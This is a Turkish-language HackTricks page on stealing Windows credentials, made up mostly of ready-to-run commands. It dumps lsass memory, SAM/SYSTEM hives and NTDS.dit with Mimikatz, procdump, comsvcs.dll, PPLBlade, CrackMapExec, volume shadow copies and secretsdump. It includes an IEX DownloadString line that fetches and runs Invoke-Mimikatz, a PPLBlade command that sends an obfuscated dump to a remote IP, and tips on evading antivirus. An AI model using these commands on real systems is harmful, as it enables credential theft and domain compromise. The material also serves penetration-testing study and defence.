16 KiB
Windows Kimlik Bilgilerini Çalma
Sıfırdan kahramana AWS hacking öğrenmek için htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizin HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @carlospolopm.**
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking ipuçlarınızı paylaşın.
Credentials Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Mimikatz'ın yapabileceği diğer şeyleri bu sayfadabulun.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Bazı olası kimlik bilgisi korumaları hakkında buradan bilgi edinin. Bu korumalar Mimikatz'in bazı kimlik bilgilerini çıkarmasını engelleyebilir.
Meterpreter ile Kimlik Bilgileri
Kurbanın içinde parola ve hash aramak için oluşturduğum Credentials Plugin kullanın.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
AV Atlama
Procdump + Mimikatz
SysInternals'dan Procdump SysInternals meşru bir Microsoft aracıdır, bu yüzden Defender tarafından tespit edilmez.
Bu aracı kullanarak lsass sürecini dökebilir, dökümü indirebilir ve dökümden yerel olarak kimlik bilgilerini çıkarabilirsiniz.
{% code title="Dump lsass" %}
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
{% endcode %}
{% code title="Extract credentials from the dump" %}
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
{% endcode %}
Bu işlem SprayKatz ile otomatik olarak yapılır: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Not: Bazı AV'ler procdump.exe ile lsass.exe'yi dump etme işlemini kötü amaçlı olarak tespit edebilir, bunun nedeni "procdump.exe" ve "lsass.exe" dizelerini tespit etmeleridir. Bu yüzden, procdump'a lsass.exe'nin PID'sini isim yerine argüman olarak geçmek daha gizli olur.
comsvcs.dll ile lsass dump etme
C:\Windows\System32
'de bulunan comsvcs.dll adlı bir DLL, bir çökme durumunda işlem belleğini dump etmekten sorumludur. Bu DLL, rundll32.exe
kullanılarak çağrılmak üzere tasarlanmış MiniDumpW
adlı bir fonksiyon içerir.
İlk iki argümanı kullanmak önemsizdir, ancak üçüncü argüman üç bileşene ayrılır. Dump edilecek işlem kimliği ilk bileşeni oluşturur, dump dosyasının konumu ikinci bileşeni temsil eder ve üçüncü bileşen kesinlikle full kelimesidir. Başka seçenek yoktur.
Bu üç bileşen çözüldüğünde, DLL dump dosyasını oluşturmak ve belirtilen işlemin belleğini bu dosyaya aktarmak için devreye girer.
comsvcs.dll'nin kullanımı, procdump'ı yükleyip çalıştırmaya gerek kalmadan lsass işlemini dump etmek için uygundur. Bu yöntem, https://en.hackndo.com/remote-lsass-dump-passwords/ adresinde ayrıntılı olarak açıklanmıştır.
Aşağıdaki komut yürütme için kullanılır:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Bu süreci lssasy** ile otomatikleştirebilirsiniz.**
Task Manager ile lsass dökümü alma
- Görev Çubuğuna sağ tıklayın ve Görev Yöneticisi'ne tıklayın
- Daha fazla ayrıntıya tıklayın
- İşlemler sekmesinde "Local Security Authority Process" işlemini arayın
- "Local Security Authority Process" işlemine sağ tıklayın ve "Döküm dosyası oluştur" seçeneğine tıklayın.
procdump ile lsass dökümü alma
Procdump, sysinternals paketinin bir parçası olan Microsoft imzalı bir ikilidir.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
PPLBlade ile lsass Dump Etme
PPLBlade, bellek dökümünü gizleyerek ve diske kaydetmeden uzaktaki iş istasyonlarına aktararak korunan bir işlem döküm aracıdır.
Ana işlevler:
- PPL korumasını atlatma
- Defender imza tabanlı tespit mekanizmalarından kaçınmak için bellek döküm dosyalarını gizleme
- Bellek dökümünü diske kaydetmeden RAW ve SMB yükleme yöntemleriyle yükleme (filesiz dump)
{% code overflow="wrap" %}
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
{% endcode %}
CrackMapExec
Dump SAM hashes
SAM hash'lerini dök.
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
LSA sırlarını Dump etme
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Hedef DC'den NTDS.dit'i Dump Etme
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Hedef DC'den NTDS.dit parola geçmişini dökme
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Her NTDS.dit hesabı için pwdLastSet özniteliğini göster
dsquery * -filter "(&(objectCategory=person)(objectClass=user))" -attr samAccountName pwdLastSet
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
SAM & SYSTEM Çalma
Bu dosyalar C:\windows\system32\config\SAM ve C:\windows\system32\config\SYSTEM konumunda bulunmalıdır. Ancak bu dosyaları normal bir şekilde kopyalayamazsınız çünkü korunmaktadırlar.
Kayıt Defterinden
Bu dosyaları çalmanın en kolay yolu, kayıt defterinden bir kopya almaktır:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Download dosyaları Kali makinenize ve hash'leri çıkarın kullanarak:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Bu hizmeti kullanarak korunan dosyaların kopyasını alabilirsiniz. Yönetici olmanız gerekmektedir.
vssadmin Kullanarak
vssadmin binary sadece Windows Server sürümlerinde mevcuttur.
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Ancak aynı şeyi Powershell ile de yapabilirsiniz. Bu, SAM dosyasını kopyalamanın bir örneğidir (kullanılan sabit disk "C:" ve C:\users\Public'e kaydedilmiştir) ancak bu yöntemi korunan herhangi bir dosyayı kopyalamak için kullanabilirsiniz:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
Invoke-NinjaCopy
Son olarak, SAM, SYSTEM ve ntds.dit dosyalarının bir kopyasını oluşturmak için PS script Invoke-NinjaCopy kullanabilirsiniz.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Credentials - NTDS.dit
NTDS.dit dosyası, Active Directory'nin kalbi olarak bilinir ve kullanıcı nesneleri, gruplar ve üyelikleri hakkında kritik verileri tutar. Bu dosya, etki alanı kullanıcılarının parola hash'lerini saklar. Bu dosya, bir Extensible Storage Engine (ESE) veritabanıdır ve %SystemRoom%/NTDS/ntds.dit konumunda bulunur.
Bu veritabanında üç ana tablo bulunur:
- Data Table: Bu tablo, kullanıcılar ve gruplar gibi nesneler hakkında ayrıntıları saklamakla görevlidir.
- Link Table: Grup üyelikleri gibi ilişkileri takip eder.
- SD Table: Her nesne için güvenlik tanımlayıcıları burada tutulur, saklanan nesnelerin güvenliğini ve erişim kontrolünü sağlar.
Bu konuda daha fazla bilgi: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows, bu dosya ile etkileşim kurmak için Ntdsa.dll kullanır ve bu dosya lsass.exe tarafından kullanılır. Bu nedenle, NTDS.dit dosyasının bir kısmı lsass
belleğinde bulunabilir (muhtemelen performans iyileştirmesi için bir önbellek kullanılarak en son erişilen verileri bulabilirsiniz).
NTDS.dit içindeki hash'leri deşifre etme
Hash 3 kez şifrelenmiştir:
- Parola Şifreleme Anahtarını (PEK) BOOTKEY ve RC4 kullanarak deşifre edin.
- Hash'i PEK ve RC4 kullanarak deşifre edin.
- Hash'i DES kullanarak deşifre edin.
PEK, her etki alanı denetleyicisinde aynı değere sahiptir, ancak NTDS.dit dosyası içinde etki alanı denetleyicisinin SYSTEM dosyasının BOOTKEY'i (etki alanı denetleyicileri arasında farklıdır) kullanılarak şifrelenmiştir. Bu nedenle, NTDS.dit dosyasından kimlik bilgilerini almak için NTDS.dit ve SYSTEM dosyalarına (C:\Windows\System32\config\SYSTEM) ihtiyacınız vardır.
Ntdsutil kullanarak NTDS.dit kopyalama
Windows Server 2008'den beri kullanılabilir.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Volume shadow copy hilesini kullanarak ntds.dit dosyasını da kopyalayabilirsiniz. Ayrıca SYSTEM file'ın bir kopyasına da ihtiyacınız olacağını unutmayın (yine, registry'den dump edin veya volume shadow copy hilesini kullanın).
NTDS.dit dosyasından hash çıkarma
NTDS.dit ve SYSTEM dosyalarını elde ettikten sonra, secretsdump.py gibi araçları kullanarak hash'leri çıkarabilirsiniz:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Ayrıca geçerli bir domain admin kullanıcısı kullanarak otomatik olarak çıkarabilirsiniz:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Büyük NTDS.dit dosyaları için, gosecretsdump kullanarak çıkartılması tavsiye edilir.
Son olarak, metasploit modülü: post/windows/gather/credentials/domain_hashdump veya mimikatz lsadump::lsa /inject
kullanabilirsiniz.
NTDS.dit dosyasından SQLite veritabanına etki alanı nesnelerini çıkartma
NTDS nesneleri, ntdsdotsqlite ile bir SQLite veritabanına çıkartılabilir. Sadece sırlar değil, aynı zamanda ham NTDS.dit dosyası zaten alındığında daha fazla bilgi çıkartma için tüm nesneler ve onların öznitelikleri de çıkartılır.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
SYSTEM
hive isteğe bağlıdır ancak sırların şifresini çözmeye olanak tanır (NT & LM hash'leri, düz metin parolalar, kerberos veya güven anahtarları, NT & LM parola geçmişleri gibi ek kimlik bilgileri). Diğer bilgilerle birlikte, aşağıdaki veriler çıkarılır: kullanıcı ve makine hesapları ve bunların hash'leri, UAC bayrakları, son oturum açma ve parola değişikliği için zaman damgası, hesap açıklamaları, adlar, UPN, SPN, gruplar ve özyinelemeli üyelikler, organizasyon birimleri ağacı ve üyelik, güvenilen alanlar ile güven türü, yönü ve öznitelikler...
Lazagne
İkili dosyayı buradan indirin. Bu ikili dosyayı çeşitli yazılımlardan kimlik bilgilerini çıkarmak için kullanabilirsiniz.
lazagne.exe all
SAM ve LSASS'tan kimlik bilgilerini çıkarmak için diğer araçlar
Windows credentials Editor (WCE)
Bu araç, kimlik bilgilerini bellekten çıkarmak için kullanılabilir. Şuradan indirebilirsiniz: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
SAM dosyasından kimlik bilgilerini çıkarın
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
SAM dosyasından kimlik bilgilerini çıkarın
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
İndirin: http://www.tarasco.org/security/pwdump_7 ve sadece çalıştırın, şifreler çıkarılacaktır.
Savunmalar
Bazı kimlik bilgisi korumalarını burada öğrenin.
Sıfırdan kahramana AWS hacking öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizin HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT koleksiyonumuz olan The PEASS Family'i keşfedin
- 💬 Discord grubuna katılın veya telegram grubuna katılın ya da Twitter'da 🐦 @carlospolopm bizi takip edin.
- HackTricks'e PR göndererek hacking ipuçlarınızı paylaşın HackTricks ve HackTricks Cloud github depolarına.